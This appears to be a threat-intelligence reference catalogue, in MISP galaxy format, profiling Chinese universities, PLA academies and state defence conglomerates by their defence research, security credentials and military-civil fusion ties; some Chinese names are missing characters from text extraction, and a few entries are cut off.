The tag is: misp-galaxy:china-defence-universities="Army Engineering University (中国人民解放工程大学)"

Army Infantry Academy (中国人民解放军兵学院)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

The tag is: misp-galaxy:china-defence-universities="Army Infantry Academy (中国人民解放军兵学院)"

Army Medical University (中国人民解放军医大学)

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base’s Military Medical Training Brigade and the Tibet Military Region’s Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

The tag is: misp-galaxy:china-defence-universities="Army Medical University (中国人民解放军医大学)"
Army Military Transportation Academy (中国人民解放军陆军军事交通学院)

The Army Military Transport Academy is a higher education institution devoted to training PLA Ground Force personnel in military transport and logistics. The academy focuses on military transport command engineering, command and automation engineering, ordnance engineering, and armament sustainment command.

The tag is: `misp-galaxy:china-defence-universities="Army Military Transportation Academy (中国人民解放军陆军军事交通学院)"`

Army Research Institute (中国人民解放军陆军研究院)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China's civilian universities in areas such as advanced manufacturing and automatic control, and laser technology. The Army Research Institute collaborates with civilian companies as part of China's military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (虹润精密仪器有限公司) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called 'Research, Development and Commercialisation of Advanced Off-road Passenger Vehicles' (新一代军民通用高端越野乘用车 研及 化). The project included research into vehicles such as the BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

The tag is: `misp-galaxy:china-defence-universities="Army Research Institute (中国人民解放军陆军研究院)"`
Army Service Academy (中国人民解放军勤务学院)

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

Aviation Industry Corporation of China (中国航空工业集团公司)

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC's main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management. The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website. AVIC is the PLA Air Force's largest supplier of military aircraft, producing fighter jets, strike aircraft, unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC's subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF's J-20 stealth fighter jet.
Aviation University of Air Force (中国人民解放军航空大学)

AUAF is one of China’s main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command. AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF’s Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA’s Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

Beihang University (北京航空航天大学)

Beihang University engages in very high levels of defence research as one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector. Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology. Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.
Beijing Electronic Science and Technology Institute
(北京电子科技学院)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary's most trusted aides. It oversees China’s cryptographic and state secrets agency as well as security for the party's leadership. BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in ‘illegal organisations’ is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates. BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master's programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity. The university runs the Key Laboratory of Information Security (信息安全重点实验室/信息安全与保密重点实验室). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

Beijing Institute of Technology (北京理工大学)

BIT is one of the ‘Seven Sons of National Defence’ supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China's Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China's universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector. BIT’s claimed achievements include producing the PRC’s first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including “precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures”. In 2018, BIT announced that it was running a four-year experimental program training some of China’s top high school students in intelligent weapons systems. BIT is the chair of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). BIT's central role in advancing PLA warfighting capability is demonstrated by the fact that it
participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

Beijing University of Chemical Technology
(北京化工大学)

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research. Between 2011 and 2015, the university's spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university's research spending and an increase of around 50% over the previous five years. BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry. BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

Beijing University of Posts and Telecommunications
(北京邮电大学)

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research. The School of Cyberspace Security is home to one of the university's two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks. BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China’s security and intelligence agencies.

The tag is: misc-galaxy:china-defence-universities="Beijing University of Posts and
Central South University (中南大学)

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU’s involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute. CSU’s defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China’s first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

The tag is: `misp-galaxy:china-defence-universities="Central South University (中南大学)"

Changchun University of Science and Technology (春理工大学)

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having ‘safeguarding national defence as its sublime responsibility and sacred mission.’ CUST is a member of the B8 Cooperation Innovation Alliance (B8 同 新 盟 or 中国兵器 同 新 盟), a group of eight Chinese research institutions that specialize in armaments science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). In April 2018, CUST established the School of Artificial Intelligence (人工智能学院) and the Artificial Intelligence Research Institute (人工智能研究院). CUST researchers working on AI are likely involved in research related to facial recognition technology.

China National Nuclear Corporation (中国核工 业 集 有限公司)

CNCC is the leading state-owned enterprise for China’s civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China’s main nuclear construction company, China Nuclear Engineering and Construction Group (中国核工 建 设 集 团 ). The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering. Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established a military-civil fusion fund dedicated to dual-use nuclear technology research and design. Two CNNC subsidiaries have been added to the US Government’s Entity List, restricting exports to them on national security grounds. CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

China North Industries Group (中国兵器工 业 集 有限公司)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group’s civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US$68.8 billion and is listed on the Fortune 500. Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group’s website. Norinco Group’s Institute of Computer Application Technology (中国兵器工 业 计 算机 应 用技 研究所) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (国家保密局) on the Information Security and Testing and Evaluation Centre ( 国家保密局 信息 安全保密 测试和评估 中心).
China People’s Police University (中国人民警察大学)

The China People's Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control. Research facilities at the university include:

China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy's largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC's signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program. CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC’s civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships. On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, 'the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.' Nikkei has listed some of CSIC's main subsidiaries here.
China South Industries Group (中国兵器装备集团有限公司)

CSGC is a leading producer of armaments for the People's Liberation Army. It was founded in 1999 and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company's attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company. CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company's website.

**China University of Mining and Technology (中国矿业大学)**

CUMT is subordinate to the Ministry of Education and specialises in engineering and other mining and industry-related disciplines. It engages in low levels of defence research. CUMT’s defence research revolves around manufacturing and design, materials science, control science, electronic components, power and energy, and bionics. It appears to be involved in the construction and design of underground bunkers for the military. The academic committee of its State Key Laboratory for Geomechanics and Deep Underground Engineering (深部岩石力学与地下工程国家重点实验室) is headed by PLA underground engineering expert Qian Qihu (钱七虎).

**Chinese Academy of Engineering Physics (中国工程物理研究院)**

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (姜永申) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base. The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering. CAEP hosts part of the Tianhe-2 supercomputer, one of the world’s fastest supercomputers. Despite the sensitivity of its work, CAEP has expanded its
international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars. CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.

**Chongqing University (重 大学)**

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets. In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

\section*{Chongqing University of Technology (重理工大学)}

CQUT is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university. The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training. In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

\section*{Commercial Aircraft Corporation of China (中国商用飞机有限任公司)}

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website. Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students. COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8...
Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

**Dalian Minzu University (大 民族大学)**

DLMU was established in 1984 as an institution that researches China’s ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government. Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China. DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (大 市民族文化数字技 重点 室). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of
facial and optical movements across different ethnic groups. DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (国家民委智能感知与先 控制重点 室), housed within the university’s College of Electromechanical Engineering (机 工程学院). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology. DLMU’s party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

**Dalian University of Technology (大 理工大学)**

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government’s efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances. In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University’s Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

**Donghua University (东华大学)**

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China’s defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects. DHU claims that much of its research has been applied to fields such as defence technology and aviation, and contributed towards China’s space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (际华集团) for collaboration on textiles to meet the military’s needs.

The tag is: `misp-galaxy:china-defence-universities="Donghua University (东华大学)"

**East China University of Technology (东华理工大学)**

ECUT was founded in 1956 as the first institution of higher education for China’s nuclear industry. Since 2001, it has been subject to four ‘joint construction’ agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university's involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT. ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (东华理工大学国防科技学院) was established.

Fudan University (复旦大学)

Fudan University is among China’s best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology. All defence-related projects and matters in Fudan are managed by the university’s Institute of Special Materials and Technology (专用材料与装备技术研究院) and Defence Industry Secrets Committee (复旦大学军工保密委员会). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute’s director, is also an advisor to the PLA and defence companies on materials science. Fudan University’s Materials Science Department includes one professor who is described as specifically being a ‘defence system professor’, which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (国家保密学院), in partnership with China’s National Administration of State Secrets Protection (国家保密局). The institute carries out research and training on the protection of state secrets.

Hangzhou Dianzi University (杭州电子科技大学)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines. HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert...
Committee on Artificial Intelligence Development. Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018. HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

**Harbin Engineering University (哈尔滨工程大学)**

HEU is one of China’s top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university’s 2017 graduates who found employment were working in the defence sector. As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the ‘Seven Sons of National Defence’ (国防七子), HEU is an integral part of China’s defence industry. HEU’s achievements include producing China’s first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy's submarine, undersea weapon, and warship projects. HIT’s role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy
committed to developing HEU’s capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center. HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China’s nuclear warhead research organisation.

The tag is: misp-galaxy:china-defence-universities="Harbin Engineering University (哈尔滨工程大学)"

**Harbin Institute of Technology (哈尔滨工业大学)**

HIT is one of China’s top defence research universities. As one of seven universities run by MIIT, it is known as one of the ‘Seven Sons of National Defence’ (国防七子). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China’s defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university’s graduates that year who found employment were working in the defence sector. HIT has been described by Chinese state media as having ‘defence technology innovation and weapons and armaments modernisation as its core’. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry. HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China’s civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (哈尔滨工业大学信息对抗技术研究所).

Hebei University (河北大学)

Hebei University is Hebei Province’s only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in ‘strengthening its national defence characteristics’. HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university's College of Physics Science and Technology as a ‘discipline with defence characteristics’. An article about this on the university's news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU’s only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2017, HBU held a forum on military-civil fusion for technology and innovation to ‘uncover the university's potential for defence-industry technological research’ and encourage greater integration with defence companies.

Henan University of Science and Technology (河南科技大学)

HAUST is Henan province’s leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province’s only university subject to a ‘joint-construction’ agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST’s involvement in defence research. As early as 2009, the university stated that it had made great
contributions to the defence and aviation industries, undertaking large amounts of defence research projects. HAUST describes itself as China’s primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as ‘disciplines with defence characteristics’, covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities. The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

Huazhong University of Science and Technology (华中科技大学)

HUST is one of China’s leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012. The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST’s defence research. HUST has worked closely with the PLA and China’s defence industry. This collaboration includes the development of artificial intelligence and imaging technology for weapons. The university’s work on pulsed power is linked to China’s nuclear and directed-energy weapons program. China’s state-owned defence conglomerates and China’s nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating. HUST holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence projects.

Hunan University (湖南大学)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its
participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research. In 2011, China’s defence industry agency, SASTIND, entered a partnership with the MOE to expand the university’s participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university’s National Supercomputer Center. HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: **misp-galaxy:china-defence-universities=“Hunan University (湖南大学)”**

**Hunan University of Science and Technology (湖南科技大学)**

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a ‘joint-construction’ agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university’s involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials. HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy. HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco’s National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (轻武器终杀伤技术国防科技重点实验室 aka 瞬冲技术国防科技重点实验室).

**Information Engineering University (中国人民解放军信息工程大学)**

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as ‘the sole military academy for the cyber and electronic warfare arms of China’s network-electronic forces’. The IEU is currently
subordinate to the PLA Strategic Support Force’s Network Systems Department, which holds the military's signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA's signals intelligence service that has been incorporated into the Strategic Support Force. IEU's command tracks include Network Engineering (网络工程), which is dedicated to the cultivation of cyber attack and defense technical cadre (网络攻防技术干部). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (河南省可见光通信重点实验室). The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA's political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

Jilin University (吉林大学)

